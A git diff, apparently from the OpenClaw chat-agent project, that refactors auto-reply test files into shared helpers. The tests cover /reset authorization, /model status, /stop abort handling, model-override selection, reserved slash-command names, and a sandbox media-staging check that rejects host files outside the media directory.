const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); - runEmbeddedPiAgentMock.mockResolvedValue({ - payloads: [{ text: "ok" }], - meta: { - durationMs: 1, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, - }); - const blockReplies: Array<{ text?: string }> = []; + const runEmbeddedPiAgentMock = mockRunEmbeddedPiAgentOk(); + const { blockReplies, handlers } = createBlockReplyCollector(); const res = await getReplyFromConfig( { Body: "please /help now", @@ -140,11 +123,7 @@ describe("trigger handling", () => { To: "+2000", CommandAuthorized: true, }, - { - onBlockReply: async (payload) => { - blockReplies.push(payload); - }, - }, + handlers, makeCfg(home), ); const text = Array.isArray(res) ? res[0]?.text : res?.text; diff --git a/src/auto-reply/reply.triggers.trigger-handling.runs-greeting-prompt-bare-reset.e2e.test.ts b/src/auto-reply/reply.triggers.trigger-handling.runs-greeting-prompt-bare-reset.e2e.test.ts index 323ae89f7d5..5e17f40f477 100644 --- a/src/auto-reply/reply.triggers.trigger-handling.runs-greeting-prompt-bare-reset.e2e.test.ts +++ b/src/auto-reply/reply.triggers.trigger-handling.runs-greeting-prompt-bare-reset.e2e.test.ts @@ -15,6 +15,41 @@ beforeAll(async () => { installTriggerHandlingE2eTestHooks(); +async function expectResetBlockedForNonOwner(params: { + home: string; + commandAuthorized: boolean; + getReplyFromConfig: typeof import("./reply.js").getReplyFromConfig; +}): Promise { + const { home, commandAuthorized, getReplyFromConfig } = params; + const res = await getReplyFromConfig( + { + Body: "/reset", + From: "+1003", + To: "+2000", + CommandAuthorized: commandAuthorized, + }, + {}, + { + agents: { + defaults: { + model: "anthropic/claude-opus-4-5", + workspace: join(home, "openclaw"), + }, + }, + channels: { + whatsapp: { + allowFrom: ["+1999"], + }, + }, + session: { + store: join(tmpdir(), `openclaw-session-test-${Date.now()}.json`), + }, + }, + ); + expect(res).toBeUndefined(); + expect(getRunEmbeddedPiAgentMock()).not.toHaveBeenCalled(); +} + describe("trigger handling", () => { it("runs a greeting prompt for a bare /reset", async () => { await withTempHome(async (home) => { @@ -23,64 +58,20 @@ describe("trigger handling", () => { }); it("does not reset for unauthorized /reset", async () => { await withTempHome(async (home) => { - const res = await getReplyFromConfig( - { - Body: "/reset", - From: "+1003", - To: "+2000", - CommandAuthorized: false, - }, - {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: join(home, "openclaw"), - }, - }, - channels: { - whatsapp: { - allowFrom: ["+1999"], - }, - }, - session: { - store: join(tmpdir(), `openclaw-session-test-${Date.now()}.json`), - }, - }, - ); - expect(res).toBeUndefined(); - expect(getRunEmbeddedPiAgentMock()).not.toHaveBeenCalled(); + await expectResetBlockedForNonOwner({ + home, + commandAuthorized: false, + getReplyFromConfig, + }); }); }); it("blocks /reset for non-owner senders", async () => { await withTempHome(async (home) => { - const res = await getReplyFromConfig( - { - Body: "/reset", - From: "+1003", - To: "+2000", - CommandAuthorized: true, - }, - {}, - { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: join(home, "openclaw"), - }, - }, - channels: { - whatsapp: { - allowFrom: ["+1999"], - }, - }, - session: { - store: join(tmpdir(), `openclaw-session-test-${Date.now()}.json`), - }, - }, - ); - expect(res).toBeUndefined(); - expect(getRunEmbeddedPiAgentMock()).not.toHaveBeenCalled(); + await expectResetBlockedForNonOwner({ + home, + commandAuthorized: true, + getReplyFromConfig, + }); }); }); }); diff --git a/src/auto-reply/reply.triggers.trigger-handling.shows-endpoint-default-model-status-not-configured.e2e.test.ts b/src/auto-reply/reply.triggers.trigger-handling.shows-endpoint-default-model-status-not-configured.e2e.test.ts index 65a03fc41a5..efdddb634cd 100644 --- a/src/auto-reply/reply.triggers.trigger-handling.shows-endpoint-default-model-status-not-configured.e2e.test.ts +++ b/src/auto-reply/reply.triggers.trigger-handling.shows-endpoint-default-model-status-not-configured.e2e.test.ts @@ -14,24 +14,22 @@ beforeAll(async () => { installTriggerHandlingE2eTestHooks(); +const modelStatusCtx = { + Body: "/model status", + From: "telegram:111", + To: "telegram:111", + ChatType: "direct", + Provider: "telegram", + Surface: "telegram", + SessionKey: "telegram:slash:111", + CommandAuthorized: true, +} as const; + describe("trigger handling", () => { it("shows endpoint default in /model status when not configured", async () => { await withTempHome(async (home) => { const cfg = makeCfg(home); - const res = await getReplyFromConfig( - { - Body: "/model status", - From: "telegram:111", - To: "telegram:111", - ChatType: "direct", - Provider: "telegram", - Surface: "telegram", - SessionKey: "telegram:slash:111", - CommandAuthorized: true, - }, - {}, - cfg, - ); + const res = await getReplyFromConfig(modelStatusCtx, {}, cfg); const text = Array.isArray(res) ? res[0]?.text : res?.text; expect(normalizeTestText(text ?? "")).toContain("endpoint: default"); @@ -50,20 +48,7 @@ describe("trigger handling", () => { }, }, }; - const res = await getReplyFromConfig( - { - Body: "/model status", - From: "telegram:111", - To: "telegram:111", - ChatType: "direct", - Provider: "telegram", - Surface: "telegram", - SessionKey: "telegram:slash:111", - CommandAuthorized: true, - }, - {}, - cfg, - ); + const res = await getReplyFromConfig(modelStatusCtx, {}, cfg); const text = Array.isArray(res) ? res[0]?.text : res?.text; const normalized = normalizeTestText(text ?? ""); diff --git a/src/auto-reply/reply.triggers.trigger-handling.stages-inbound-media-into-sandbox-workspace.security.test.ts b/src/auto-reply/reply.triggers.trigger-handling.stages-inbound-media-into-sandbox-workspace.security.test.ts deleted file mode 100644 index 4fdf420d13a..00000000000 --- a/src/auto-reply/reply.triggers.trigger-handling.stages-inbound-media-into-sandbox-workspace.security.test.ts +++ /dev/null @@ -1,79 +0,0 @@ -import fs from "node:fs/promises"; -import { basename, join } from "node:path"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import type { MsgContext, TemplateContext } from "../templating.js"; -import { withTempHome as withTempHomeBase } from "../../test/helpers/temp-home.js"; - -const sandboxMocks = vi.hoisted(() => ({ - ensureSandboxWorkspaceForSession: vi.fn(), -})); - -vi.mock("../agents/sandbox.js", () => sandboxMocks); - -import { ensureSandboxWorkspaceForSession } from "../agents/sandbox.js"; -import { stageSandboxMedia } from "./reply/stage-sandbox-media.js"; - -async function withTempHome(fn: (home: string) => Promise): Promise { - return withTempHomeBase(async (home) => await fn(home), { prefix: "openclaw-triggers-bypass-" }); -} - -afterEach(() => { - vi.restoreAllMocks(); -}); - -describe("stageSandboxMedia security", () => { - it("rejects staging host files from outside the media directory", async () => { - await withTempHome(async (home) => { - // Sensitive host file outside .openclaw - const sensitiveFile = join(home, "secrets.txt"); - await fs.writeFile(sensitiveFile, "SENSITIVE DATA"); - - const sandboxDir = join(home, "sandboxes", "session"); - vi.mocked(ensureSandboxWorkspaceForSession).mockResolvedValue({ - workspaceDir: sandboxDir, - containerWorkdir: "/work", - }); - - const ctx: MsgContext = { - Body: "hi", - From: "whatsapp:group:demo", - To: "+2000", - ChatType: "group", - Provider: "whatsapp", - MediaPath: sensitiveFile, - MediaType: "image/jpeg", - MediaUrl: sensitiveFile, - }; - const sessionCtx: TemplateContext = { ...ctx }; - - // This should fail or skip the file - await stageSandboxMedia({ - ctx, - sessionCtx, - cfg: { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: join(home, "openclaw"), - sandbox: { - mode: "non-main", - workspaceRoot: join(home, "sandboxes"), - }, - }, - }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: join(home, "sessions.json") }, - }, - sessionKey: "agent:main:main", - workspaceDir: join(home, "openclaw"), - }); - - const stagedFullPath = join(sandboxDir, "media", "inbound", basename(sensitiveFile)); - // Expect the file NOT to be staged - await expect(fs.stat(stagedFullPath)).rejects.toThrow(); - - // Context should NOT be rewritten to a sandbox path if it failed to stage - expect(ctx.MediaPath).toBe(sensitiveFile); - }); - }); -}); diff --git a/src/auto-reply/reply.triggers.trigger-handling.stages-inbound-media-into-sandbox-workspace.test.ts b/src/auto-reply/reply.triggers.trigger-handling.stages-inbound-media-into-sandbox-workspace.test.ts index cd453e969b3..f938977c66a 100644 --- a/src/auto-reply/reply.triggers.trigger-handling.stages-inbound-media-into-sandbox-workspace.test.ts +++ b/src/auto-reply/reply.triggers.trigger-handling.stages-inbound-media-into-sandbox-workspace.test.ts @@ -1,8 +1,11 @@ import fs from "node:fs/promises"; import { basename, join } from "node:path"; import { afterEach, describe, expect, it, vi } from "vitest"; -import type { MsgContext, TemplateContext } from "./templating.js"; -import { withTempHome as withTempHomeBase } from "../../test/helpers/temp-home.js"; +import { + createSandboxMediaContexts, + createSandboxMediaStageConfig, + withSandboxMediaTempHome, +} from "./stage-sandbox-media.test-harness.js"; const sandboxMocks = vi.hoisted(() => ({ ensureSandboxWorkspaceForSession: vi.fn(), @@ -13,17 +16,13 @@ vi.mock("../agents/sandbox.js", () => sandboxMocks); import { ensureSandboxWorkspaceForSession } from "../agents/sandbox.js"; import { stageSandboxMedia } from "./reply/stage-sandbox-media.js"; -async function withTempHome(fn: (home: string) => Promise): Promise { - return withTempHomeBase(async (home) => await fn(home), { prefix: "openclaw-triggers-" }); -} - afterEach(() => { vi.restoreAllMocks(); }); describe("stageSandboxMedia", () => { it("stages inbound media into the sandbox workspace", async () => { - await withTempHome(async (home) => { + await withSandboxMediaTempHome("openclaw-triggers-", async (home) => { const inboundDir = join(home, ".openclaw", "media", "inbound"); await fs.mkdir(inboundDir, { recursive: true }); const mediaPath = join(inboundDir, "photo.jpg"); @@ -35,35 +34,12 @@ describe("stageSandboxMedia", () => { containerWorkdir: "/work", }); - const ctx: MsgContext = { - Body: "hi", - From: "whatsapp:group:demo", - To: "+2000", - ChatType: "group", - Provider: "whatsapp", - MediaPath: mediaPath, - MediaType: "image/jpeg", - MediaUrl: mediaPath, - }; - const sessionCtx: TemplateContext = { ...ctx }; + const { ctx, sessionCtx } = createSandboxMediaContexts(mediaPath); await stageSandboxMedia({ ctx, sessionCtx, - cfg: { - agents: { - defaults: { - model: "anthropic/claude-opus-4-5", - workspace: join(home, "openclaw"), - sandbox: { - mode: "non-main", - workspaceRoot: join(home, "sandboxes"), - }, - }, - }, - channels: { whatsapp: { allowFrom: ["*"] } }, - session: { store: join(home, "sessions.json") }, - }, + cfg: createSandboxMediaStageConfig(home), sessionKey: "agent:main:main", workspaceDir: join(home, "openclaw"), }); @@ -78,4 +54,36 @@ describe("stageSandboxMedia", () => { await expect(fs.stat(stagedFullPath)).resolves.toBeTruthy(); }); }); + + it("rejects staging host files from outside the media directory", async () => { + await withSandboxMediaTempHome("openclaw-triggers-bypass-", async (home) => { + // Sensitive host file outside .openclaw + const sensitiveFile = join(home, "secrets.txt"); + await fs.writeFile(sensitiveFile, "SENSITIVE DATA"); + + const sandboxDir = join(home, "sandboxes", "session"); + vi.mocked(ensureSandboxWorkspaceForSession).mockResolvedValue({ + workspaceDir: sandboxDir, + containerWorkdir: "/work", + }); + + const { ctx, sessionCtx } = createSandboxMediaContexts(sensitiveFile); + + // This should fail or skip the file + await stageSandboxMedia({ + ctx, + sessionCtx, + cfg: createSandboxMediaStageConfig(home), + sessionKey: "agent:main:main", + workspaceDir: join(home, "openclaw"), + }); + + const stagedFullPath = join(sandboxDir, "media", "inbound", basename(sensitiveFile)); + // Expect the file NOT to be staged + await expect(fs.stat(stagedFullPath)).rejects.toThrow(); + + // Context should NOT be rewritten to a sandbox path if it failed to stage + expect(ctx.MediaPath).toBe(sensitiveFile); + }); + }); }); diff --git a/src/auto-reply/reply.triggers.trigger-handling.test-harness.ts b/src/auto-reply/reply.triggers.trigger-handling.test-harness.ts index 2fa0d4eab47..3c650d67d0c 100644 --- a/src/auto-reply/reply.triggers.trigger-handling.test-harness.ts +++ b/src/auto-reply/reply.triggers.trigger-handling.test-harness.ts @@ -1,3 +1,4 @@ +import fs from "node:fs/promises"; import { join } from "node:path"; import { afterEach, expect, vi } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; @@ -134,6 +135,60 @@ export function makeCfg(home: string): OpenClawConfig { } as OpenClawConfig; } +export function makeWhatsAppElevatedCfg( + home: string, + opts?: { elevatedEnabled?: boolean; requireMentionInGroups?: boolean }, +): OpenClawConfig { + const cfg = makeCfg(home); + cfg.channels ??= {}; + cfg.channels.whatsapp = { + ...cfg.channels.whatsapp, + allowFrom: ["+1000"], + }; + if (opts?.requireMentionInGroups !== undefined) { + cfg.channels.whatsapp.groups = { "*": { requireMention: opts.requireMentionInGroups } }; + } + + cfg.tools = { + ...cfg.tools, + elevated: { + allowFrom: { whatsapp: ["+1000"] }, + ...(opts?.elevatedEnabled === false ? { enabled: false } : {}), + }, + }; + return cfg; +} + +export async function runDirectElevatedToggleAndLoadStore(params: { + cfg: OpenClawConfig; + getReplyFromConfig: typeof import("./reply.js").getReplyFromConfig; + body?: string; +}): Promise<{ + text: string | undefined; + store: Record; +}> { + const res = await params.getReplyFromConfig( + { + Body: params.body ?? "/elevated on", + From: "+1000", + To: "+2000", + Provider: "whatsapp", + SenderE164: "+1000", + CommandAuthorized: true, + }, + {}, + params.cfg, + ); + const text = Array.isArray(res) ? res[0]?.text : res?.text; + const storePath = params.cfg.session?.store; + if (!storePath) { + throw new Error("session.store is required in test config"); + } + const storeRaw = await fs.readFile(storePath, "utf-8"); + const store = JSON.parse(storeRaw) as Record; + return { text, store }; +} + export async function runGreetingPromptForBareNewOrReset(params: { home: string; body: "/new" | "/reset"; @@ -169,3 +224,27 @@ export function installTriggerHandlingE2eTestHooks() { vi.restoreAllMocks(); }); } + +export function mockRunEmbeddedPiAgentOk(text = "ok"): AnyMock { + const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); + runEmbeddedPiAgentMock.mockResolvedValue({ + payloads: [{ text }], + meta: { + durationMs: 1, + agentMeta: { sessionId: "s", provider: "p", model: "m" }, + }, + }); + return runEmbeddedPiAgentMock; +} + +export function createBlockReplyCollector() { + const blockReplies: Array<{ text?: string }> = []; + return { + blockReplies, + handlers: { + onBlockReply: async (payload: { text?: string }) => { + blockReplies.push(payload); + }, + }, + }; +} diff --git a/src/auto-reply/reply/abort.test.ts b/src/auto-reply/reply/abort.test.ts index fcc1d9b1565..b9e5993f2a0 100644 --- a/src/auto-reply/reply/abort.test.ts +++ b/src/auto-reply/reply/abort.test.ts @@ -38,6 +38,27 @@ vi.mock("../../agents/subagent-registry.js", () => ({ })); describe("abort detection", () => { + async function runStopCommand(params: { + cfg: OpenClawConfig; + sessionKey: string; + from: string; + to: string; + }) { + return tryFastAbortFromMessage({ + ctx: buildTestCtx({ + CommandBody: "/stop", + RawBody: "/stop", + CommandAuthorized: true, + SessionKey: params.sessionKey, + Provider: "telegram", + Surface: "telegram", + From: params.from, + To: params.to, + }), + cfg: params.cfg, + }); + } + afterEach(() => { resetAbortMemoryForTest(); }); @@ -109,18 +130,11 @@ describe("abort detection", () => { const storePath = path.join(root, "sessions.json"); const cfg = { session: { store: storePath }, commands: { text: false } } as OpenClawConfig; - const result = await tryFastAbortFromMessage({ - ctx: buildTestCtx({ - CommandBody: "/stop", - RawBody: "/stop", - CommandAuthorized: true, - SessionKey: "telegram:123", - Provider: "telegram", - Surface: "telegram", - From: "telegram:123", - To: "telegram:123", - }), + const result = await runStopCommand({ cfg, + sessionKey: "telegram:123", + from: "telegram:123", + to: "telegram:123", }); expect(result.handled).toBe(true); @@ -172,18 +186,11 @@ describe("abort detection", () => { ); expect(getFollowupQueueDepth(sessionKey)).toBe(1); - const result = await tryFastAbortFromMessage({ - ctx: buildTestCtx({ - CommandBody: "/stop", - RawBody: "/stop", - CommandAuthorized: true, - SessionKey: sessionKey, - Provider: "telegram", - Surface: "telegram", - From: "telegram:123", - To: "telegram:123", - }), + const result = await runStopCommand({ cfg, + sessionKey, + from: "telegram:123", + to: "telegram:123", }); expect(result.handled).toBe(true); @@ -229,18 +236,11 @@ describe("abort detection", () => { }, ]); - const result = await tryFastAbortFromMessage({ - ctx: buildTestCtx({ - CommandBody: "/stop", - RawBody: "/stop", - CommandAuthorized: true, - SessionKey: sessionKey, - Provider: "telegram", - Surface: "telegram", - From: "telegram:parent", - To: "telegram:parent", - }), + const result = await runStopCommand({ cfg, + sessionKey, + from: "telegram:parent", + to: "telegram:parent", }); expect(result.stoppedSubagents).toBe(1); @@ -307,18 +307,11 @@ describe("abort detection", () => { ]) .mockReturnValueOnce([]); - const result = await tryFastAbortFromMessage({ - ctx: buildTestCtx({ - CommandBody: "/stop", - RawBody: "/stop", - CommandAuthorized: true, - SessionKey: sessionKey, - Provider: "telegram", - Surface: "telegram", - From: "telegram:parent", - To: "telegram:parent", - }), + const result = await runStopCommand({ cfg, + sessionKey, + from: "telegram:parent", + to: "telegram:parent", }); // Should stop both depth-1 and depth-2 agents (cascade) @@ -389,18 +382,11 @@ describe("abort detection", () => { ]) .mockReturnValueOnce([]); - const result = await tryFastAbortFromMessage({ - ctx: buildTestCtx({ - CommandBody: "/stop", - RawBody: "/stop", - CommandAuthorized: true, - SessionKey: sessionKey, - Provider: "telegram", - Surface: "telegram", - From: "telegram:parent", - To: "telegram:parent", - }), + const result = await runStopCommand({ cfg, + sessionKey, + from: "telegram:parent", + to: "telegram:parent", }); // Should skip killing the ended depth-1 run itself, but still kill depth-2. diff --git a/src/auto-reply/reply/get-reply-inline-actions.ts b/src/auto-reply/reply/get-reply-inline-actions.ts index a2d153e1134..954b0175795 100644 --- a/src/auto-reply/reply/get-reply-inline-actions.ts +++ b/src/auto-reply/reply/get-reply-inline-actions.ts @@ -11,28 +11,18 @@ import { createOpenClawTools } from "../../agents/openclaw-tools.js"; import { getChannelDock } from "../../channels/dock.js"; import { logVerbose } from "../../globals.js"; import { resolveGatewayMessageChannel } from "../../utils/message-channel.js"; -import { listChatCommands } from "../commands-registry.js"; -import { listSkillCommandsForWorkspace, resolveSkillCommandInvocation } from "../skill-commands.js"; +import { + listReservedChatSlashCommandNames, + listSkillCommandsForWorkspace, + resolveSkillCommandInvocation, +} from "../skill-commands.js"; import { getAbortMemory } from "./abort.js"; import { buildStatusReply, handleCommands } from "./commands.js"; import { isDirectiveOnly } from "./directive-handling.js"; import { extractInlineSimpleCommand } from "./reply-inline.js"; const builtinSlashCommands = (() => { - const reserved = new Set(); - for (const command of listChatCommands()) { - if (command.nativeName) { - reserved.add(command.nativeName.toLowerCase()); - } - for (const alias of command.textAliases) { - const trimmed = alias.trim(); - if (!trimmed.startsWith("/")) { - continue; - } - reserved.add(trimmed.slice(1).toLowerCase()); - } - } - for (const name of [ + return listReservedChatSlashCommandNames([ "think", "verbose", "reasoning", @@ -41,10 +31,7 @@ const builtinSlashCommands = (() => { "model", "status", "queue", - ]) { - reserved.add(name); - } - return reserved; + ]); })(); function resolveSlashCommandName(commandBodyNormalized: string): string | null { diff --git a/src/auto-reply/reply/model-selection.test.ts b/src/auto-reply/reply/model-selection.test.ts index 3da30c3c6da..b4f5f3577d4 100644 --- a/src/auto-reply/reply/model-selection.test.ts +++ b/src/auto-reply/reply/model-selection.test.ts @@ -44,6 +44,30 @@ describe("createModelSelectionState parent inheritance", () => { }); } + async function resolveHeartbeatStoredOverrideState(hasResolvedHeartbeatModelOverride: boolean) { + const cfg = {} as OpenClawConfig; + const sessionKey = "agent:main:discord:channel:c1"; + const sessionEntry = makeEntry({ + providerOverride: "openai", + modelOverride: "gpt-4o", + }); + const sessionStore = { [sessionKey]: sessionEntry }; + + return createModelSelectionState({ + cfg, + agentCfg: cfg.agents?.defaults, + sessionEntry, + sessionStore, + sessionKey, + defaultProvider, + defaultModel, + provider: "anthropic", + model: "claude-opus-4-5", + hasModelDirective: false, + hasResolvedHeartbeatModelOverride, + }); + } + it("inherits parent override from explicit parentSessionKey", async () => { const cfg = {} as OpenClawConfig; const parentKey = "agent:main:discord:channel:c1"; @@ -157,58 +181,14 @@ describe("createModelSelectionState parent inheritance", () => { }); it("applies stored override when heartbeat override was not resolved", async () => { - const cfg = {} as OpenClawConfig; - const sessionKey = "agent:main:discord:channel:c1"; - const sessionEntry = makeEntry({ - providerOverride: "openai", - modelOverride: "gpt-4o", - }); - const sessionStore = { - [sessionKey]: sessionEntry, - }; - - const state = await createModelSelectionState({ - cfg, - agentCfg: cfg.agents?.defaults, - sessionEntry, - sessionStore, - sessionKey, - defaultProvider, - defaultModel, - provider: "anthropic", - model: "claude-opus-4-5", - hasModelDirective: false, - hasResolvedHeartbeatModelOverride: false, - }); + const state = await resolveHeartbeatStoredOverrideState(false); expect(state.provider).toBe("openai"); expect(state.model).toBe("gpt-4o"); }); it("skips stored override when heartbeat override was resolved", async () => { - const cfg = {} as OpenClawConfig; - const sessionKey = "agent:main:discord:channel:c1"; - const sessionEntry = makeEntry({ - providerOverride: "openai", - modelOverride: "gpt-4o", - }); - const sessionStore = { - [sessionKey]: sessionEntry, - }; - - const state = await createModelSelectionState({ - cfg, - agentCfg: cfg.agents?.defaults, - sessionEntry, - sessionStore, - sessionKey, - defaultProvider, - defaultModel, - provider: "anthropic", - model: "claude-opus-4-5", - hasModelDirective: false, - hasResolvedHeartbeatModelOverride: true, - }); + const state = await resolveHeartbeatStoredOverrideState(true); expect(state.provider).toBe("anthropic"); expect(state.model).toBe("claude-opus-4-5"); @@ -219,16 +199,12 @@ describe("createModelSelectionState respects session model override", () => { const defaultProvider = "inferencer"; const defaultModel = "deepseek-v3-4bit-mlx"; - it("applies session modelOverride when set", async () => { + async function resolveState(sessionEntry: ReturnType) { const cfg = {} as OpenClawConfig; const sessionKey = "agent:main:main"; - const sessionEntry = makeEntry({ - providerOverride: "kimi-coding", - modelOverride: "k2p5", - }); const sessionStore = { [sessionKey]: sessionEntry }; - const state = await createModelSelectionState({ + return createModelSelectionState({ cfg, agentCfg: undefined, sessionEntry, @@ -240,29 +216,22 @@ describe("createModelSelectionState respects session model override", () => { model: defaultModel, hasModelDirective: false, }); + } + + it("applies session modelOverride when set", async () => { + const state = await resolveState( + makeEntry({ + providerOverride: "kimi-coding", + modelOverride: "k2p5", + }), + ); expect(state.provider).toBe("kimi-coding"); expect(state.model).toBe("k2p5"); }); it("falls back to default when no modelOverride is set", async () => { - const cfg = {} as OpenClawConfig; - const sessionKey = "agent:main:main"; - const sessionEntry = makeEntry(); - const sessionStore = { [sessionKey]: sessionEntry }; - - const state = await createModelSelectionState({ - cfg, - agentCfg: undefined, - sessionEntry, - sessionStore, - sessionKey, - defaultProvider, - defaultModel, - provider: defaultProvider, - model: defaultModel, - hasModelDirective: false, - }); + const state = await resolveState(makeEntry()); expect(state.provider).toBe(defaultProvider); expect(state.model).toBe(defaultModel); @@ -270,54 +239,26 @@ describe("createModelSelectionState respects session model override", () => { it("respects modelOverride even when session model field differs", async () => { // From issue #14783: stored override should beat last-used fallback model. - const cfg = {} as OpenClawConfig; - const sessionKey = "agent:main:main"; - const sessionEntry = makeEntry({ - model: "k2p5", - modelProvider: "kimi-coding", - contextTokens: 262_000, - providerOverride: "anthropic", - modelOverride: "claude-opus-4-5", - }); - const sessionStore = { [sessionKey]: sessionEntry }; - - const state = await createModelSelectionState({ - cfg, - agentCfg: undefined, - sessionEntry, - sessionStore, - sessionKey, - defaultProvider, - defaultModel, - provider: defaultProvider, - model: defaultModel, - hasModelDirective: false, - }); + const state = await resolveState( + makeEntry({ + model: "k2p5", + modelProvider: "kimi-coding", + contextTokens: 262_000, + providerOverride: "anthropic", + modelOverride: "claude-opus-4-5", + }), + ); expect(state.provider).toBe("anthropic"); expect(state.model).toBe("claude-opus-4-5"); }); it("uses default provider when providerOverride is not set but modelOverride is", async () => { - const cfg = {} as OpenClawConfig; - const sessionKey = "agent:main:main"; - const sessionEntry = makeEntry({ - modelOverride: "deepseek-v3-4bit-mlx", - }); - const sessionStore = { [sessionKey]: sessionEntry }; - - const state = await createModelSelectionState({ - cfg, - agentCfg: undefined, - sessionEntry, - sessionStore, - sessionKey, - defaultProvider, - defaultModel, - provider: defaultProvider, - model: defaultModel, - hasModelDirective: false, - }); + const state = await resolveState( + makeEntry({ + modelOverride: "deepseek-v3-4bit-mlx", + }), + ); expect(state.provider).toBe(defaultProvider); expect(state.model).toBe("deepseek-v3-4bit-mlx"); diff --git a/src/auto-reply/skill-commands.ts b/src/auto-reply/skill-commands.ts index 6b1bd8a9241..020ae66f126 100644 --- a/src/auto-reply/skill-commands.ts +++ b/src/auto-reply/skill-commands.ts @@ -5,7 +5,7 @@ import { buildWorkspaceSkillCommandSpecs, type SkillCommandSpec } from "../agent import { getRemoteSkillEligibility } from "../infra/skills-remote.js"; import { listChatCommands } from "./commands-registry.js"; -function resolveReservedCommandNames(): Set { +export function listReservedChatSlashCommandNames(extraNames: string[] = []): Set { const reserved = new Set(); for (const command of listChatCommands()) { if (command.nativeName) { @@ -19,6 +19,12 @@ function resolveReservedCommandNames(): Set { reserved.add(trimmed.slice(1).toLowerCase()); } } + for (const name of extraNames) { + const trimmed = name.trim().toLowerCase(); + if (trimmed) { + reserved.add(trimmed); + } + } return reserved; } @@ -31,7 +37,7 @@ export function listSkillCommandsForWorkspace(params: { config: params.cfg, skillFilter: params.skillFilter, eligibility: { remote: getRemoteSkillEligibility() }, - reservedNames: resolveReservedCommandNames(), + reservedNames: listReservedChatSlashCommandNames(), }); } @@ -39,7 +45,7 @@ export function listSkillCommandsForAgents(params: { cfg: OpenClawConfig; agentIds?: string[]; }): SkillCommandSpec[] { - const used = resolveReservedCommandNames(); + const used = listReservedChatSlashCommandNames(); const entries: SkillCommandSpec[] = []; const agentIds = params.agentIds ?? listAgentIds(params.cfg); // Track visited workspace dirs to avoid registering duplicate commands diff --git a/src/auto-reply/stage-sandbox-media.test-harness.ts b/src/auto-reply/stage-sandbox-media.test-harness.ts new file mode 100644 index 00000000000..91fa31ee9aa --- /dev/null +++ b/src/auto-reply/stage-sandbox-media.test-harness.ts @@ -0,0 +1,45 @@ +import { join } from "node:path"; +import type { OpenClawConfig } from "../config/config.js"; +import type { MsgContext, TemplateContext } from "./templating.js"; +import { withTempHome as withTempHomeBase } from "../../test/helpers/temp-home.js"; + +export async function withSandboxMediaTempHome( + prefix: string, + fn: (home: string) => Promise, +): Promise { + return withTempHomeBase(async (home) => await fn(home), { prefix }); +} + +export function createSandboxMediaContexts(mediaPath: string): { + ctx: MsgContext; + sessionCtx: TemplateContext; +} { + const ctx: MsgContext = { + Body: "hi", + From: "whatsapp:group:demo", + To: "+2000", + ChatType: "group", + Provider: "whatsapp", + MediaPath: mediaPath, + MediaType: "image/jpeg", + MediaUrl: mediaPath, + }; + return { ctx, sessionCtx: { ...ctx } }; +} + +export function createSandboxMediaStageConfig(home: string): OpenClawConfig { + return { + agents: { + defaults: { + model: "anthropic/claude-opus-4-5", + workspace: join(home, "openclaw"), + sandbox: { + mode: "non-main", + workspaceRoot: join(home, "sandboxes"), + }, + }, + }, + channels: { whatsapp: { allowFrom: ["*"] } }, + session: { store: join(home, "sessions.json") }, + } as OpenClawConfig; +} diff --git a/src/auto-reply/status.test.ts b/src/auto-reply/status.test.ts index 13fe58d1f98..6d8450987e8 100644 --- a/src/auto-reply/status.test.ts +++ b/src/auto-reply/status.test.ts @@ -4,6 +4,7 @@ import { afterEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; import { normalizeTestText } from "../../test/helpers/normalize-text.js"; import { withTempHome } from "../../test/helpers/temp-home.js"; +import { createSuccessfulImageMediaDecision } from "./media-understanding.test-fixtures.js"; import { buildCommandsMessage, buildCommandsMessagePaginated, @@ -129,29 +130,7 @@ describe("buildStatusMessage", () => { sessionKey: "agent:main:main", queue: { mode: "none" }, mediaDecisions: [ - { - capability: "image", - outcome: "success", - attachments: [ - { - attachmentIndex: 0, - attempts: [ - { - type: "provider", - outcome: "success", - provider: "openai", - model: "gpt-5.2", - }, - ], - chosen: { - type: "provider", - outcome: "success", - provider: "openai", - model: "gpt-5.2", - }, - }, - ], - }, + createSuccessfulImageMediaDecision(), { capability: "audio", outcome: "skipped", @@ -382,39 +361,58 @@ describe("buildStatusMessage", () => { ); } + const baselineTranscriptUsage = { + input: 1, + output: 2, + cacheRead: 1000, + cacheWrite: 0, + totalTokens: 1003, + } as const; + + function writeBaselineTranscriptUsageLog(params: { + dir: string; + agentId: string; + sessionId: string; + }) { + writeTranscriptUsageLog({ + ...params, + usage: baselineTranscriptUsage, + }); + } + + function buildTranscriptStatusText(params: { sessionId: string; sessionKey: string }) { + return buildStatusMessage({ + agent: { + model: "anthropic/claude-opus-4-5", + contextTokens: 32_000, + }, + sessionEntry: { + sessionId: params.sessionId, + updatedAt: 0, + totalTokens: 3, + contextTokens: 32_000, + }, + sessionKey: params.sessionKey, + sessionScope: "per-sender", + queue: { mode: "collect", depth: 0 }, + includeTranscriptUsage: true, + modelAuth: "api-key", + }); + } + it("prefers cached prompt tokens from the session log", async () => { await withTempHome( async (dir) => { const sessionId = "sess-1"; - writeTranscriptUsageLog({ + writeBaselineTranscriptUsageLog({ dir, agentId: "main", sessionId, - usage: { - input: 1, - output: 2, - cacheRead: 1000, - cacheWrite: 0, - totalTokens: 1003, - }, }); - const text = buildStatusMessage({ - agent: { - model: "anthropic/claude-opus-4-5", - contextTokens: 32_000, - }, - sessionEntry: { - sessionId, - updatedAt: 0, - totalTokens: 3, // would be wrong if cached prompt tokens exist - contextTokens: 32_000, - }, + const text = buildTranscriptStatusText({ + sessionId, sessionKey: "agent:main:main", - sessionScope: "per-sender", - queue: { mode: "collect", depth: 0 }, - includeTranscriptUsage: true, - modelAuth: "api-key", }); expect(normalizeTestText(text)).toContain("Context: 1.0k/32k"); @@ -427,35 +425,15 @@ describe("buildStatusMessage", () => { await withTempHome( async (dir) => { const sessionId = "sess-worker1"; - writeTranscriptUsageLog({ + writeBaselineTranscriptUsageLog({ dir, agentId: "worker1", sessionId, - usage: { - input: 1, - output: 2, - cacheRead: 1000, - cacheWrite: 0, - 